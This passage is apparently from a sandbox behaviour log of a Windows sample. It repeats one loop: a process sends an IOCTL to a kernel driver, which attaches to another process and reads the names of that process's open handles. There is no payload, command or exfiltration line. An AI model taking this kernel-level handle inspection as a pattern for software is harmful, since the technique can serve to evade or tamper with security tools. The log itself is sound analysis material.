HandleInformation=0x0) returned 0x0 [0120.940] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.940] PsReleaseProcessExitSynchronization () returned 0x2 [0120.940] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.940] ObQueryNameString (in: Object=0xfffffa80030564e0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.940] ObfDereferenceObject (Object=0xfffffa80030564e0) returned 0x2 [0120.940] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.940] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.940] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.941] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0120.941] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.941] PsAcquireProcessExitSynchronization () returned 0x0 [0120.941] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.941] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003097c00, HandleInformation=0x0) returned 0x0 [0120.941] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.941] PsReleaseProcessExitSynchronization () returned 0x2 [0120.941] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.941] ObQueryNameString (in: Object=0xfffffa8003097c00, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.941] ObfDereferenceObject (Object=0xfffffa8003097c00) returned 0x2 [0120.941] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.941] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.941] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.941] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.941] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.941] PsAcquireProcessExitSynchronization () returned 0x0 [0120.941] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.941] ObReferenceObjectByHandle (in: Handle=0xd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0018a4c90, HandleInformation=0x0) returned 0x0 [0120.941] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.941] PsReleaseProcessExitSynchronization () returned 0x2 [0120.941] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.941] ObQueryNameString (in: Object=0xfffff8a0018a4c90, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.941] ObfDereferenceObject (Object=0xfffff8a0018a4c90) returned 0x1 [0120.941] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.941] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.941] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.941] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.941] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.941] PsAcquireProcessExitSynchronization () returned 0x0 [0120.941] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.942] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00181b820, HandleInformation=0x0) returned 0x0 [0120.942] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.942] PsReleaseProcessExitSynchronization () returned 0x2 [0120.942] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.942] ObQueryNameString (in: Object=0xfffff8a00181b820, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.942] ObfDereferenceObject (Object=0xfffff8a00181b820) returned 0x1 [0120.942] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.942] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.942] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.942] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0120.942] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.942] PsAcquireProcessExitSynchronization () returned 0x0 [0120.942] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.942] ObReferenceObjectByHandle (in: Handle=0xe8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003120a00, HandleInformation=0x0) returned 0x0 [0120.942] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.942] PsReleaseProcessExitSynchronization () returned 0x2 [0120.942] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.942] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435508) returned 0x0 [0120.942] ObfDereferenceObject (Object=0xfffffa8003120a00) returned 0x1 [0120.942] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.942] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.942] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.942] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.942] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.942] PsAcquireProcessExitSynchronization () returned 0x0 [0120.942] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.942] ObReferenceObjectByHandle (in: Handle=0xec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00170c890, HandleInformation=0x0) returned 0x0 [0120.942] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.942] PsReleaseProcessExitSynchronization () returned 0x2 [0120.942] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.942] ObQueryNameString (in: Object=0xfffff8a00170c890, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.942] ObfDereferenceObject (Object=0xfffff8a00170c890) returned 0x1 [0120.942] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.943] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.943] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.943] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.943] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.943] PsAcquireProcessExitSynchronization () returned 0x0 [0120.943] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.943] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001ef79f0, HandleInformation=0x0) returned 0x0 [0120.943] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.943] PsReleaseProcessExitSynchronization () returned 0x2 [0120.943] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.943] ObQueryNameString (in: Object=0xfffff8a001ef79f0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.943] ObfDereferenceObject (Object=0xfffff8a001ef79f0) returned 0x1 [0120.943] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.943] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.943] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.943] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.943] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.943] PsAcquireProcessExitSynchronization () returned 0x0 [0120.943] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.943] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089a6a30, HandleInformation=0x0) returned 0x0 [0120.943] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.943] PsReleaseProcessExitSynchronization () returned 0x2 [0120.943] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.943] ObQueryNameString (in: Object=0xfffff8a0089a6a30, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.943] ObfDereferenceObject (Object=0xfffff8a0089a6a30) returned 0x1 [0120.943] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.943] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.943] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.943] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.943] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.943] PsAcquireProcessExitSynchronization () returned 0x0 [0120.943] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.943] ObReferenceObjectByHandle (in: Handle=0xf8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089a64c0, HandleInformation=0x0) returned 0x0 [0120.943] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.944] PsReleaseProcessExitSynchronization () returned 0x2 [0120.944] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.944] ObQueryNameString (in: Object=0xfffff8a0089a64c0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.944] ObfDereferenceObject (Object=0xfffff8a0089a64c0) returned 0x1 [0120.944] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.944] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.944] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.944] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.944] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.944] PsAcquireProcessExitSynchronization () returned 0x0 [0120.944] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.944] ObReferenceObjectByHandle (in: Handle=0xfc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089ccd60, HandleInformation=0x0) returned 0x0 [0120.944] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.944] PsReleaseProcessExitSynchronization () returned 0x2 [0120.944] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.944] ObQueryNameString (in: Object=0xfffff8a0089ccd60, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.944] ObfDereferenceObject (Object=0xfffff8a0089ccd60) returned 0x1 [0120.944] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.944] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.944] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.944] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.944] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.944] PsAcquireProcessExitSynchronization () returned 0x0 [0120.944] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.944] ObReferenceObjectByHandle (in: Handle=0x100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001207fc0, HandleInformation=0x0) returned 0x0 [0120.944] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.944] PsReleaseProcessExitSynchronization () returned 0x2 [0120.944] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.944] ObQueryNameString (in: Object=0xfffff8a001207fc0, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.944] ObfDereferenceObject (Object=0xfffff8a001207fc0) returned 0x1 [0120.944] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.945] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.945] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.945] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.945] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.945] PsAcquireProcessExitSynchronization () returned 0x0 [0120.945] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.945] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001651610, HandleInformation=0x0) returned 0x0 [0120.945] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.945] PsReleaseProcessExitSynchronization () returned 0x2 [0120.945] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.945] ObQueryNameString (in: Object=0xfffff8a001651610, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.945] ObfDereferenceObject (Object=0xfffff8a001651610) returned 0x1 [0120.945] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.945] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.945] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.945] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.945] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.945] PsAcquireProcessExitSynchronization () returned 0x0 [0120.945] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.945] ObReferenceObjectByHandle (in: Handle=0x108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001201570, HandleInformation=0x0) returned 0x0 [0120.945] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.945] PsReleaseProcessExitSynchronization () returned 0x2 [0120.945] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.945] ObQueryNameString (in: Object=0xfffff8a001201570, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.945] ObfDereferenceObject (Object=0xfffff8a001201570) returned 0x1 [0120.945] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.945] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.945] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.945] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.945] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.945] PsAcquireProcessExitSynchronization () returned 0x0 [0120.945] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.946] ObReferenceObjectByHandle (in: Handle=0x10c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0017d2a40, HandleInformation=0x0) returned 0x0 [0120.946] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.946] PsReleaseProcessExitSynchronization () returned 0x2 [0120.946] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.946] ObQueryNameString (in: Object=0xfffff8a0017d2a40, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.946] ObfDereferenceObject (Object=0xfffff8a0017d2a40) returned 0x1 [0120.946] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.946] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.946] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.946] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.946] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.946] PsAcquireProcessExitSynchronization () returned 0x0 [0120.946] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.946] ObReferenceObjectByHandle (in: Handle=0x110, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d5d80, HandleInformation=0x0) returned 0x0 [0120.946] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.946] PsReleaseProcessExitSynchronization () returned 0x2 [0120.946] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.946] ObQueryNameString (in: Object=0xfffff8a0089d5d80, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.946] ObfDereferenceObject (Object=0xfffff8a0089d5d80) returned 0x1 [0120.946] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.946] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.946] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.946] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.946] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.946] PsAcquireProcessExitSynchronization () returned 0x0 [0120.946] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.946] ObReferenceObjectByHandle (in: Handle=0x11c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00122ae60, HandleInformation=0x0) returned 0x0 [0120.946] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.946] PsReleaseProcessExitSynchronization () returned 0x2 [0120.946] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.946] ObQueryNameString (in: Object=0xfffff8a00122ae60, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.946] ObfDereferenceObject (Object=0xfffff8a00122ae60) returned 0x1 [0120.947] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.947] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 